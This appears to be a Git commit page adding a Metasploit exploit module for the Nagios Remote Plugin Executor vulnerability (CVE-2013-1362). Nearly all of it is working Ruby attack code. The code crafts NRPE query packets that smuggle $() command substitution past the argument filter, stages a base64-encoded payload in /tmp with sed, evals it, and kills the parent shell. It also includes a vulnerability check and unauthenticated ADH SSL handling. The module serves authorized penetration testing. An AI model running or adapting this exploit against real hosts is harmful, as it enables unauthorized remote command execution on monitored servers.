Added module for CVE-2013-1362
Module exploits a shell code metacharacter escaping vulnerability in poorly configured Nagios Remote Plugin Executor installations.unstable
Joel Parish
parent
40e801d345
commit
21e9f7dbd2
|
|
@ -0,0 +1,193 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
# would like to replace these globals how would I do that?
|
||||
@ssl_socket = nil
|
||||
@force_ssl = false
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
|
||||
Nagios server to actively poll information from the hosts it monitors. NRPE
|
||||
has a configuration option dont_blame_nrpe (with a caveat above it ENABLING
|
||||
THIS OPTION IS A SECURITY RISK!) which enables command-line arguments to be
|
||||
provided remote plugins. This option is often enabled, and while NRPE makes
|
||||
an effort to sanitize arguments to prevent command execution, it is possible
|
||||
to execute arbitrary commands. },
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'process',
|
||||
'PrependFork' => 'yes',
|
||||
'AppendExit' => 'yes',
|
||||
|
||||
},
|
||||
'Author' => [
|
||||
'jwpari <jwpari[at]beersec.org>'
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2012-5194'],
|
||||
[ 'CVE', '2013-1362'],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'unix' ],
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl python ruby bash telnet',
|
||||
# *_perl, *_python and *_ruby work if they are installed
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['Nagios Remote Plugin Executor prior to 2.14', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 23 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5666),
|
||||
OptString.new('CMD', [ true, "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg", 'check_procs']),
|
||||
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
|
||||
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def send_message(sock, message)
|
||||
checksum = 0
|
||||
|
||||
packet = [
|
||||
2, # packet version
|
||||
1, # packet type, 1 => query packet
|
||||
0, # checksum, to be added later
|
||||
0, # result code, discarded for query packet
|
||||
message, # the command and arguments
|
||||
0 # padding
|
||||
]
|
||||
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
|
||||
begin
|
||||
self.sock.put(packet.pack("nnNna1024n")) #send the packet
|
||||
res = self.sock.get_once # get the response
|
||||
rescue ::EOFError => eof
|
||||
res = ""
|
||||
end
|
||||
|
||||
return res.unpack("nnNnA1024n")[4] unless res.nil?
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check != Exploit::CheckCode::Vulnerable
|
||||
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
|
||||
end
|
||||
|
||||
self.connect
|
||||
print_status("Sending request...")
|
||||
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
|
||||
stage = "setsid nohup #{payload.encoded} & "
|
||||
|
||||
stage = Rex::Text.encode_base64(stage)
|
||||
|
||||
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
|
||||
|
||||
command = datastore['CMD']
|
||||
command << "!"
|
||||
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
|
||||
|
||||
# need a way to write to a file without using redirection (>)
|
||||
# cant count on perl being on all linux hosts, use GNU Sed
|
||||
# TODO: Probably a better way to do this, some hosts may not have a /tmp
|
||||
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
|
||||
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
|
||||
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
|
||||
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
|
||||
command << "$(kill -9 $$))" # kill check_procs parent (popen'd sh) so that it never executes
|
||||
send_message(sock, command)
|
||||
handler
|
||||
self.disconnect
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
print_status("Checking if remote nrpe supports command line arguments")
|
||||
|
||||
begin
|
||||
# send query asking to run "fake_check" command with command substitution in arguments
|
||||
self.connect
|
||||
res = send_message(sock, "__fake_check!$()")
|
||||
# if nrpe is configured to support arguments and is not patched to add $() to
|
||||
# NASTY_META_CHARS then the service will return:
|
||||
# NRPE: Command '__fake_check' not defined
|
||||
if res =~ /not defined/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
# Otherwise the service will close the connection if it is configured to disable arguments
|
||||
rescue EOFError => eof
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue Errno::ECONNRESET => reset
|
||||
|
||||
unless datastore['NRPESSL'] or @force_ssl
|
||||
print_status("Retrying with ADH SSL")
|
||||
@force_ssl = true
|
||||
retry
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue => e
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
# TODO: patched version appears to go here
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
end
|
||||
|
||||
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
|
||||
|
||||
# setting the global SSL => true will break as we would be overlaying
|
||||
# an SSLSocket on another SSLSocket which hasnt completed its handshake
|
||||
def connect(global = true, opts={})
|
||||
|
||||
self.sock = super(global, opts)
|
||||
|
||||
if datastore['NRPESSL'] or @force_ssl
|
||||
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
|
||||
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
ctx.ciphers = "ADH"
|
||||
|
||||
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
|
||||
|
||||
@ssl_socket.connect
|
||||
|
||||
self.sock.extend(Rex::Socket::SslTcp)
|
||||
self.sock.sslsock = @ssl_socket
|
||||
self.sock.sslctx = ctx
|
||||
end
|
||||
|
||||
return self.sock
|
||||
end
|
||||
def disconnect
|
||||
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue